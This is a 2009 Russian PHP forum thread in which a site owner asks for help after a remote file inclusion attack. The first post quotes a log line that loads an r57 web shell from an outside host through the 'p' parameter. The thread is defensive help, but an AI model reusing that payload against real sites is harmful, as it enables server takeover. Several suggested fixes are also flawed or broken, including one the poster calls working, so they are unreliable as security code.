Страница 1 из 1

подсаживаются любые файлы в переменную

Добавлено: 2009-02-24 21:11:27
moadip
Помогите исправить баг,
вообщем есть сайт, который был удачно атакован кулцхакером,
вот лог

Код: Выделить всё

"POST /?p=http://www.netempresaseguros.com/r57.txt?? HTTP/1.1" 200 11865 "http://*****.ru/?p=http://www.netempresaseguros.com/r57.txt??""
как я панимаю через переменную 'p' подсадили какой-то левый файл,
соовтветнно надо сделать или какую нить проверку, или что-бы через данную переменную могли выполнятся только файлы которые находятся на сервере.
в файле index.php нашёл такие строки

Код: Выделить всё

@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
что в них надо добавить что-бы файлы с другого сайта неподсаживались ?
p.s. в google уже был, чё-то ничего дельного ненашёл..... :st:

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-24 22:58:53
zg
проверяй путь к файлу через realpath()

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 8:02:51
ADRE
можно извратится через parse_url() и если урл не равен заданному -> в жопу переменную....
справочник функций есть? если нету то есть на php.net и где-то был одним аштмл архивом

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 8:20:40
moadip
с пхп совсем плохо, :oops:
можете носом тыкнуть, что надо сделать...

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 9:12:19
ADRE

Код: Выделить всё

$ php -r 'print_r( parse_url("http://username:password@hostname/path?arg=value#anchor"));'
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

$ php -r 'print_r( parse_url("http://invalid_host..name/"));'
Array
(
    [scheme] => http
    [host] => invalid_host..name
    [path] => /
)
- это в примере, тебе надо:
когда идет проверка переменной короче:

Код: Выделить всё

@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 9:28:53
zg
ADRE писал(а):можно извратится через parse_url()
нда.... :-o
ADRE писал(а):if ($zlo['host'] != $_ENV['SERVER_NAME'])
:(

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 9:49:15
moadip
zg писал(а):
if ($zlo['host'] != $_ENV['SERVER_NAME']) :(
?
непрокатит ?

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 10:11:27
zg

Код: Выделить всё

$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
  include($page);
else
  echo "Bad file name $page";

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 10:51:08
moadip
zg писал(а):

Код: Выделить всё

$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
  include($page);
else
  echo "Bad file name $page";
просто добавить в существующий код ?

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 10:53:32
zg
нет

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 11:18:18
ADRE
ну так а что такого? ой бля ... там же много че написано ))) не досмотрел... ) мда то что предлогал - работать не будет .....
-----------------------
strtr() сначала всегда ищет самое длинное совпадение и *НЕ* пытается заменить то, с чем уже работала.
- круто блин ) что \-то таких вещей даже руки не доходили - хотя вроде банальная вещь ....

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 11:41:42
zg
ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
ADRE писал(а):там же много че написано )))
действительно -)))

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 11:52:03
moadip
ADRE писал(а): замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 11:54:30
ADRE
zg писал(а):
ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
будем знать - а то str_replace в конец достал, долго ссылки заменяет адреса доменов, когда контент парсится )))

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 11:55:35
ADRE
moadip писал(а):
ADRE писал(а): замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает
и ниче не подгружает? то чего не надо?

Re: подсаживаются любые файлы в переменную

Добавлено: 2009-02-25 12:01:00
moadip
не, нормуль
если вставить в переменную ссылку на другой сайт выплёвывает die('мая испугаться вас');